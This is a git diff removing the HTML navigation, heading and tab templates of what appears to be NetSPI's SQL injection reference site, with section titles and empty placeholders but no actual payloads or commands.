NetSPI. All rights reserved.</p> -</div> diff --git a/views/injectionTechniques.html b/views/injectionTechniques.html deleted file mode 100644 index 391d901..0000000 --- a/views/injectionTechniques.html +++ /dev/null @@ -1,10 +0,0 @@ -<h3 id="sql-injection-detection">Injection Techniques</h3> -<p class="readableText">Below are a couple techniques to aid you in exploiting various SQL injections.</p> -<h4 class="injectionSubheading"><a class="link" onClick="updateRoute('/tab/injectionTechniques/conditionalStatements')">Conditional Statements</a></h4> -<p id="conditionalStatements" class="injectionDescription"></p> - -<h4 class="injectionSubheading"><a class="link" onClick="updateRoute('/tab/injectionTechniques/injectionPlacement')">Injection Placement</a></h4> -<p id="injectionPlacement" class="injectionDescription"></p> - -<h4 class="injectionSubheading"><a class="link" onClick="updateRoute('/tab/injectionTechniques/obfuscation')">Injection Obfuscation</a></h4> -<p id="injectionObfuscation" class="injectionDescription"></p> diff --git a/views/injectionTypes.html b/views/injectionTypes.html deleted file mode 100644 index 8996a90..0000000 --- a/views/injectionTypes.html +++ /dev/null @@ -1,8 +0,0 @@ -<h3 id="sql-injection-detection">Injection Types</h3> -<p class="readableText">The sections below identify the main types of injections that can be found and how to exploit certain scenarios within those injection types.</p> -<h4 class="injectionSubheading"><a class="link" onClick="updateRoute('/tab/injectionTypes/errorBased')">Error Based</a></h4> -<p id="errorBased" class="injectionDescription"></p> -<h4 class="injectionSubheading"><a class="link" onClick="updateRoute('/tab/injectionTypes/unionBased')">Union Based</a></h4> -<p id="unionBased" class="injectionDescription"></p> -<h4 class="injectionSubheading"><a class="link" onClick="updateRoute('/tab/injectionTypes/blindBased')">Blind Based</a></h4> -<p id="blindBased" class="injectionDescription"></p> diff --git a/views/nav.html b/views/nav.html deleted file mode 100644 index db4a27b..0000000 --- a/views/nav.html +++ /dev/null @@ -1,150 +0,0 @@ -<ul> - <li class="n-nav-item n-top-nav-item" id="homeLink"> - <a class="link" onClick="updateRoute('/')"> - <div>Home</div> - </a> - </li> - <li class="n-nav-item n-top-nav-item"> - <a class="link" href="https://www.netspi.com/" target="_blank"> - <div>About Us</div> - </a> - </li> - <li class="n-nav-item n-top-nav-item" id="detectionLink"> - <a class="link" onClick="updateRoute('/detection')"> - <div>Injection Detection</div> - </a> - </li> - <li> - <ul id="dbmsIdentification"> - <li class="n-nav-item n-top-nav-item" id="dbmsIdentification"> - <a class="link" onClick="updateRoute('/tab/dbmsIdentification')"> - <div>DBMS Identification</div> - </a> - </li> - </ul> - </li> - <li> - <ul id="injectionTypes"> - <li class="n-nav-item n-top-nav-item" id="injectionTypesLink"> - <a class="link" onClick="updateRoute('/injectionTypes')"> - <div>Injection Types</div> - </a> - </li> - <li class="n-nav-item" id="errorBased"> - <a class="link" onClick="updateRoute('/tab/injectionTypes/errorBased')"> - <div>Error Based Injection</div> - </a> - </li> - <li class="n-nav-item" id="unionBased"> - <a class="link" onClick="updateRoute('/tab/injectionTypes/unionBased')"> - <div>Union Based Injection</div> - </a> - </li> - <li class="n-nav-item" id="blindBased"> - <a class="link" onClick="updateRoute('/tab/injectionTypes/blindBased')"> - <div>Blind Based Injection</div> - </a> - </li> - </ul> - </li> - <li> - <ul id="injectionTechniques"> - <li class="n-nav-item n-top-nav-item" id="injectionTechniquesLink"> - <a class="link" onClick="updateRoute('/injectionTechniques')"> - <div>Injection Techniques</div> - </a> - </li> - <li class="n-nav-item" id="conditionalStatements"> - <a class="link" onClick="updateRoute('/tab/injectionTechniques/conditionalStatements')"> - <div>Conditional Statements</div> - </a> - </li> - <li class="n-nav-item" id="injectionPlacement"> - <a class="link" onClick="updateRoute('/tab/injectionTechniques/injectionPlacement')"> - <div>Injection Placement</div> - </a> - </li> - <li class="n-nav-item" id="obfuscation"> - <a class="link" onClick="updateRoute('/tab/injectionTechniques/obfuscation')"> - <div>Injection Obfuscation</div> - </a> - </li> - </ul> - </li> - <li> - <ul id="attackQueries"> - <li class="n-nav-item n-top-nav-item" id="attackQueriesLink"> - <a class="link" onClick="updateRoute('/attackQueries')"> - <div>Attack Queries</div> - </a> - </li> - <li class="n-nav-item" id="informationGathering"> - <a class="link" onClick="updateRoute('/tab/attackQueries/informationGathering')"> - <div>Information Gathering</div> - </a> - </li> - <li class="n-nav-item" id="dataTargeting"> - <a class="link" onClick="updateRoute('/tab/attackQueries/dataTargeting')"> - <div>Data Targeting</div> - </a> - </li> - <li class="n-nav-item" id="privilegeEscalation"> - <a class="link" onClick="updateRoute('/tab/attackQueries/privilegeEscalation')"> - <div>Privilege Escalation</div> - </a> - </li> - <li class="n-nav-item" id="executingOSCommands"> - <a class="link" onClick="updateRoute('/tab/attackQueries/executingOSCommands')"> - <div>Executing OS Commands</div> - </a> - </li> - <li class="n-nav-item" id="readingAndWritingFiles"> - <a class="link" onClick="updateRoute('/tab/attackQueries/readingAndWritingFiles')"> - <div>Reading and Writing Files</div> - </a> - </li> - <li class="n-nav-item" id="lateralMovement"> - <a class="link" onClick="updateRoute('/tab/attackQueries/lateralMovement')"> - <div>Lateral Movement</div> - </a> - </li> - <li class="n-nav-item" id="dataExfiltration"> - <a class="link" onClick="updateRoute('/tab/attackQueries/dataExfiltration')"> - <div>Data Exfiltration</div> - </a> - </li> - <li class="n-nav-item" id="persistence"> - <a class="link" onClick="updateRoute('/tab/attackQueries/persistence')"> - <div>Persistence</div> - </a> - </li> - </ul> - </li> - <li> - <ul id="misc"> - <li class="n-nav-item n-top-nav-item"> - <div>Misc.</div> - </li> - <li class="n-nav-item" id="contributorsLink"> - <a class="link" onClick="updateRoute('/contributors')"> - <div>Contributors</div> - </a> - </li> - <li class="n-nav-item" id="references"> - <a class="link" onClick="updateRoute('/tab/misc/references')"> - <div>References</div> - </a> - </li> - <li class="n-nav-item" id="sandboxes"> - <a class="link" onClick="updateRoute('/tab/misc/sandboxes')"> - <div>Sandboxes</div> - </a> - </li> - <li class="n-nav-item" id="tools"> - <a class="link" onClick="updateRoute('/tab/misc/tools')"> - <div>Tools</div> - </a> - </li> - </ul> - </li> -</ul> diff --git a/views/tab.html b/views/tab.html deleted file mode 100644 index 33d5af5..0000000 --- a/views/tab.html +++ /dev/null @@ -1,25 +0,0 @@ -<ul class="nav nav-tabs" id="injectionTabs"> - <li class="nav-item"><a class="nav-link active" onClick="updateTab('MySQL')" href="#MySQL" role="tab" data-toggle="tab">MySQL</a></li> - <li class="nav-item"><a class="nav-link" onClick="updateTab('Oracle')" href="#Oracle" role="tab" data-toggle="tab">Oracle</a></li> - <li class="nav-item"><a class="nav-link" onClick="updateTab('SQLServer')" href="#SQLServer" role="tab" data-toggle="tab">SQL Server</a></li> -</ul> -<div id="injectionTabContent" class="tab-content"> - <div role="tabpanel" class="tab-pane active" id="MySQL"> - <div class="spinner absoluteSpinner"> - <div class="double-bounce1"></div> - <div class="double-bounce2"></div> - </div> - </div> - <div role="tabpanel" class="tab-pane" id="Oracle"> - <div class="spinner absoluteSpinner"> - <div class="double-bounce1"></div> - <div class="double-bounce2"></div> - </div> - </div> - <div role="tabpanel" class="tab-pane" id="SQLServer"> - <div class="spinner absoluteSpinner"> - <div class="double-bounce1"></div> - <div class="double-bounce2"></div> - </div> - </div> -</div>